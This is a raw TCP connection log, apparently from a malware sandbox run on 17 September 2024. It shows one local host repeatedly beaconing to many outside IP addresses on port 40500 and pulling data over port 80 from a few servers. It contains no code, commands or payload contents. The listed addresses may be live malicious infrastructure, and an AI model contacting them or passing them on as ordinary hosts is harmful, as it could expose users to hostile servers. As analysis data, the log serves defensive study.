Sep 17, 2024 23:10:17.349623919 CEST	40500	49753	95.212.18.41	192.168.2.4
Sep 17, 2024 23:10:19.617914915 CEST	49752	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:19.690042019 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:19.695276022 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:19.905354023 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:19.905576944 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.955144882 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.955435991 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.960465908 CEST	80	49751	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:21.960607052 CEST	49751	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.960731030 CEST	80	49754	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:21.960854053 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.961731911 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:21.966532946 CEST	80	49754	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:22.323045015 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:22.328171968 CEST	40500	49755	217.30.160.154	192.168.2.4
Sep 17, 2024 23:10:22.328250885 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:22.329616070 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:22.334512949 CEST	40500	49755	217.30.160.154	192.168.2.4
Sep 17, 2024 23:10:22.335313082 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:22.340097904 CEST	40500	49755	217.30.160.154	192.168.2.4
Sep 17, 2024 23:10:22.347312927 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:22.393323898 CEST	40500	49755	217.30.160.154	192.168.2.4
Sep 17, 2024 23:10:22.670964956 CEST	80	49754	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:22.671072006 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.717144966 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.717433929 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.722397089 CEST	80	49756	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:24.722481012 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.722722054 CEST	80	49754	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:24.722776890 CEST	49754	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.724494934 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:24.729404926 CEST	80	49756	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:25.439697981 CEST	80	49756	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:25.439810038 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:27.363127947 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:27.368293047 CEST	40500	49757	89.106.236.58	192.168.2.4
Sep 17, 2024 23:10:27.368422031 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:27.369467974 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:27.374468088 CEST	40500	49757	89.106.236.58	192.168.2.4
Sep 17, 2024 23:10:27.374917030 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:27.378134966 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:27.380042076 CEST	40500	49757	89.106.236.58	192.168.2.4
Sep 17, 2024 23:10:27.425359011 CEST	40500	49757	89.106.236.58	192.168.2.4
Sep 17, 2024 23:10:28.584625006 CEST	49734	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:28.584893942 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:28.589782000 CEST	80	49734	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:28.589874983 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:28.590024948 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:28.590056896 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:28.594921112 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:28.834429026 CEST	40500	49750	149.54.35.210	192.168.2.4
Sep 17, 2024 23:10:28.834511042 CEST	49750	40500	192.168.2.4	149.54.35.210
Sep 17, 2024 23:10:29.317533016 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317673922 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317725897 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317759037 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317790985 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317823887 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317858934 CEST	80	49758	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:29.317890882 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:29.317890882 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:29.317890882 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:29.317941904 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:29.318408012 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:29.318423986 CEST	49758	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:30.334292889 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:30.339550972 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:30.339731932 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:30.339901924 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:30.345037937 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032341003 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032361031 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032377958 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032392025 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032414913 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.032421112 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032444000 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.032448053 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032474995 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.032478094 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032497883 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.032516956 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.032545090 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.032582998 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:31.118762970 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:31.118845940 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:32.394320011 CEST	49760	40500	192.168.2.4	46.35.93.221
Sep 17, 2024 23:10:32.399640083 CEST	40500	49760	46.35.93.221	192.168.2.4
Sep 17, 2024 23:10:32.400913000 CEST	49760	40500	192.168.2.4	46.35.93.221
Sep 17, 2024 23:10:32.402086020 CEST	49760	40500	192.168.2.4	46.35.93.221
Sep 17, 2024 23:10:32.406961918 CEST	40500	49760	46.35.93.221	192.168.2.4
Sep 17, 2024 23:10:32.409540892 CEST	49760	40500	192.168.2.4	46.35.93.221
Sep 17, 2024 23:10:32.457448959 CEST	40500	49760	46.35.93.221	192.168.2.4
Sep 17, 2024 23:10:33.256548882 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:33.256866932 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:33.388571978 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:33.388612032 CEST	80	49759	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:33.388705969 CEST	49759	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:33.388765097 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:33.389040947 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:33.393930912 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.077852011 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.077914953 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.077917099 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.077955008 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.077961922 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.077989101 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.077997923 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.078023911 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.078031063 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.078056097 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.078067064 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.078089952 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.078097105 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.078125000 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.078130960 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.078166962 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:34.164159060 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:34.168936014 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.208736897 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.209130049 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.643750906 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.973602057 CEST	80	49762	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:36.973615885 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:36.973679066 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.973849058 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.974769115 CEST	80	49761	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:36.974813938 CEST	49761	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:36.978610992 CEST	80	49762	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:37.410092115 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:37.415175915 CEST	40500	49763	194.93.26.70	192.168.2.4
Sep 17, 2024 23:10:37.416069031 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:37.417217016 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:37.423528910 CEST	40500	49763	194.93.26.70	192.168.2.4
Sep 17, 2024 23:10:37.425010920 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:37.425101042 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:37.430816889 CEST	40500	49763	194.93.26.70	192.168.2.4
Sep 17, 2024 23:10:37.473813057 CEST	40500	49763	194.93.26.70	192.168.2.4
Sep 17, 2024 23:10:37.491962910 CEST	40500	49753	95.212.18.41	192.168.2.4
Sep 17, 2024 23:10:37.492019892 CEST	49753	40500	192.168.2.4	95.212.18.41
Sep 17, 2024 23:10:37.671324968 CEST	80	49762	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:37.676889896 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.746673107 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.746872902 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.751995087 CEST	80	49764	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:39.752902031 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.759188890 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.762125015 CEST	80	49762	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:39.762197018 CEST	49762	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:39.764000893 CEST	80	49764	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:40.456398010 CEST	80	49764	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:40.456562996 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.443083048 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:10:42.448662996 CEST	40500	49765	109.74.69.43	192.168.2.4
Sep 17, 2024 23:10:42.448911905 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:10:42.450220108 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:10:42.455123901 CEST	40500	49765	109.74.69.43	192.168.2.4
Sep 17, 2024 23:10:42.455187082 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:10:42.456279993 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:10:42.460186958 CEST	40500	49765	109.74.69.43	192.168.2.4
Sep 17, 2024 23:10:42.489393950 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.489748955 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.494620085 CEST	80	49766	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:42.494760990 CEST	80	49764	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:42.494847059 CEST	49764	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.494857073 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.495062113 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:42.499876022 CEST	80	49766	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:42.503612995 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:42.505311966 CEST	40500	49765	109.74.69.43	192.168.2.4
Sep 17, 2024 23:10:42.520539045 CEST	80	49756	91.202.233.141	192.168.2.4
Sep 17, 2024 23:10:42.521042109 CEST	49756	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:10:43.194051027 CEST	80	49766	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:43.194117069 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:43.724510908 CEST	40500	49755	217.30.160.154	192.168.2.4
Sep 17, 2024 23:10:43.724581003 CEST	49755	40500	192.168.2.4	217.30.160.154
Sep 17, 2024 23:10:45.224131107 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:45.224555016 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:45.229749918 CEST	80	49766	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:45.229793072 CEST	80	49767	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:45.229800940 CEST	49766	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:45.229867935 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:45.230056047 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:45.235003948 CEST	80	49767	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:46.044327974 CEST	80	49767	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:46.044399977 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:47.457194090 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:10:47.492254972 CEST	40500	49768	88.204.209.230	192.168.2.4
Sep 17, 2024 23:10:47.492566109 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:10:47.493586063 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:10:47.498608112 CEST	40500	49768	88.204.209.230	192.168.2.4
Sep 17, 2024 23:10:47.498661041 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:10:47.503156900 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:10:47.504220009 CEST	40500	49768	88.204.209.230	192.168.2.4
Sep 17, 2024 23:10:47.549684048 CEST	40500	49768	88.204.209.230	192.168.2.4
Sep 17, 2024 23:10:48.067502022 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:48.067945957 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:48.073070049 CEST	80	49769	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:48.073112011 CEST	80	49767	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:48.073157072 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:48.073180914 CEST	49767	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:48.073307037 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:48.078380108 CEST	80	49769	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:48.725198030 CEST	40500	49757	89.106.236.58	192.168.2.4
Sep 17, 2024 23:10:48.727966070 CEST	49757	40500	192.168.2.4	89.106.236.58
Sep 17, 2024 23:10:48.783287048 CEST	80	49769	185.215.113.66	192.168.2.4
Sep 17, 2024 23:10:48.784909964 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:10:51.835747957 CEST	49770	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:51.840787888 CEST	80	49770	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:51.841044903 CEST	49770	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:51.841388941 CEST	49770	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:51.846342087 CEST	80	49770	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:52.519817114 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:10:52.525342941 CEST	40500	49771	2.182.190.8	192.168.2.4
Sep 17, 2024 23:10:52.525429010 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:10:52.527546883 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:10:52.532495022 CEST	40500	49771	2.182.190.8	192.168.2.4
Sep 17, 2024 23:10:52.532562017 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:10:52.534425974 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:10:52.537374973 CEST	40500	49771	2.182.190.8	192.168.2.4
Sep 17, 2024 23:10:52.585427046 CEST	40500	49771	2.182.190.8	192.168.2.4
Sep 17, 2024 23:10:53.491450071 CEST	80	49770	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:53.491642952 CEST	49770	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:53.491642952 CEST	49770	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:53.496612072 CEST	80	49770	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:53.788377047 CEST	40500	49760	46.35.93.221	192.168.2.4
Sep 17, 2024 23:10:53.788490057 CEST	49760	40500	192.168.2.4	46.35.93.221
Sep 17, 2024 23:10:55.520956039 CEST	49772	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:55.673717022 CEST	80	49772	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:55.673837900 CEST	49772	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:55.674081087 CEST	49772	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:55.679466009 CEST	80	49772	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:57.334342957 CEST	80	49772	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:57.334445000 CEST	49772	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:57.334556103 CEST	49772	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:57.339426041 CEST	80	49772	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:57.535094976 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:10:57.540087938 CEST	40500	49773	139.135.146.244	192.168.2.4
Sep 17, 2024 23:10:57.540184975 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:10:57.541589975 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:10:57.546394110 CEST	40500	49773	139.135.146.244	192.168.2.4
Sep 17, 2024 23:10:57.546463966 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:10:57.550050974 CEST	49773	40500	192.168.2.4	139.135.146.244
Sep 17, 2024 23:10:57.551332951 CEST	40500	49773	139.135.146.244	192.168.2.4
Sep 17, 2024 23:10:57.597378016 CEST	40500	49773	139.135.146.244	192.168.2.4
Sep 17, 2024 23:10:58.791357040 CEST	40500	49763	194.93.26.70	192.168.2.4
Sep 17, 2024 23:10:58.791450977 CEST	49763	40500	192.168.2.4	194.93.26.70
Sep 17, 2024 23:10:59.366014957 CEST	49774	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:59.371085882 CEST	80	49774	77.91.77.92	192.168.2.4
Sep 17, 2024 23:10:59.371164083 CEST	49774	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:59.371454954 CEST	49774	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:10:59.376605988 CEST	80	49774	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:01.040229082 CEST	80	49774	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:01.041076899 CEST	49774	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:01.041076899 CEST	49774	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:01.046366930 CEST	80	49774	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:02.550653934 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:02.556222916 CEST	40500	49775	185.131.88.152	192.168.2.4
Sep 17, 2024 23:11:02.556339025 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:02.557430983 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:02.562294006 CEST	40500	49775	185.131.88.152	192.168.2.4
Sep 17, 2024 23:11:02.562346935 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:02.565680027 CEST	49775	40500	192.168.2.4	185.131.88.152
Sep 17, 2024 23:11:02.567302942 CEST	40500	49775	185.131.88.152	192.168.2.4
Sep 17, 2024 23:11:02.613353968 CEST	40500	49775	185.131.88.152	192.168.2.4
Sep 17, 2024 23:11:03.067356110 CEST	49776	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:03.072228909 CEST	80	49776	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:03.072293043 CEST	49776	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:03.072380066 CEST	49776	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:03.077394009 CEST	80	49776	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:03.818876028 CEST	40500	49765	109.74.69.43	192.168.2.4
Sep 17, 2024 23:11:03.820031881 CEST	49765	40500	192.168.2.4	109.74.69.43
Sep 17, 2024 23:11:04.737078905 CEST	80	49776	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:04.737216949 CEST	49776	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:04.764403105 CEST	49776	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:04.769249916 CEST	80	49776	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:06.786448956 CEST	49777	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:06.791363955 CEST	80	49777	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:06.791425943 CEST	49777	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:06.791554928 CEST	49777	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:06.796390057 CEST	80	49777	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:07.582319975 CEST	49778	40500	192.168.2.4	178.217.173.26
Sep 17, 2024 23:11:07.588871002 CEST	40500	49778	178.217.173.26	192.168.2.4
Sep 17, 2024 23:11:07.591492891 CEST	49778	40500	192.168.2.4	178.217.173.26
Sep 17, 2024 23:11:07.595788002 CEST	49778	40500	192.168.2.4	178.217.173.26
Sep 17, 2024 23:11:07.597039938 CEST	49778	40500	192.168.2.4	178.217.173.26
Sep 17, 2024 23:11:07.600950956 CEST	40500	49778	178.217.173.26	192.168.2.4
Sep 17, 2024 23:11:07.645544052 CEST	40500	49778	178.217.173.26	192.168.2.4
Sep 17, 2024 23:11:08.097232103 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:08.102499008 CEST	80	49769	185.215.113.66	192.168.2.4
Sep 17, 2024 23:11:08.103508949 CEST	49769	80	192.168.2.4	185.215.113.66
Sep 17, 2024 23:11:08.443919897 CEST	80	49777	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:08.444056988 CEST	49777	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:08.444103956 CEST	49777	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:08.449333906 CEST	80	49777	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:08.865901947 CEST	40500	49768	88.204.209.230	192.168.2.4
Sep 17, 2024 23:11:08.865952969 CEST	49768	40500	192.168.2.4	88.204.209.230
Sep 17, 2024 23:11:10.473984957 CEST	49779	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:10.478941917 CEST	80	49779	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:10.479037046 CEST	49779	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:10.479190111 CEST	49779	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:10.484378099 CEST	80	49779	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:12.115855932 CEST	80	49779	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:12.115916967 CEST	49779	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:12.290709019 CEST	49779	80	192.168.2.4	77.91.77.92
Sep 17, 2024 23:11:12.296036959 CEST	80	49779	77.91.77.92	192.168.2.4
Sep 17, 2024 23:11:12.613312960 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:12.618321896 CEST	40500	49780	189.134.7.239	192.168.2.4
Sep 17, 2024 23:11:12.618520975 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:12.619585991 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:12.624494076 CEST	40500	49780	189.134.7.239	192.168.2.4
Sep 17, 2024 23:11:12.624552965 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:12.628997087 CEST	49780	40500	192.168.2.4	189.134.7.239
Sep 17, 2024 23:11:12.629367113 CEST	40500	49780	189.134.7.239	192.168.2.4
Sep 17, 2024 23:11:12.677337885 CEST	40500	49780	189.134.7.239	192.168.2.4
Sep 17, 2024 23:11:13.898479939 CEST	40500	49771	2.182.190.8	192.168.2.4
Sep 17, 2024 23:11:13.900964022 CEST	49771	40500	192.168.2.4	2.182.190.8
Sep 17, 2024 23:11:15.445777893 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:15.450714111 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:15.450800896 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:15.450918913 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:15.455755949 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.142934084 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.142959118 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.142972946 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.142987013 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.142993927 CEST	49781	80	192.168.2.4	91.202.233.141
Sep 17, 2024 23:11:16.143003941 CEST	80	49781	91.202.233.141	192.168.2.4
Sep 17, 2024 23:11:16.143018961 CEST	80	49781	91.202.233.141	192.168.2.4
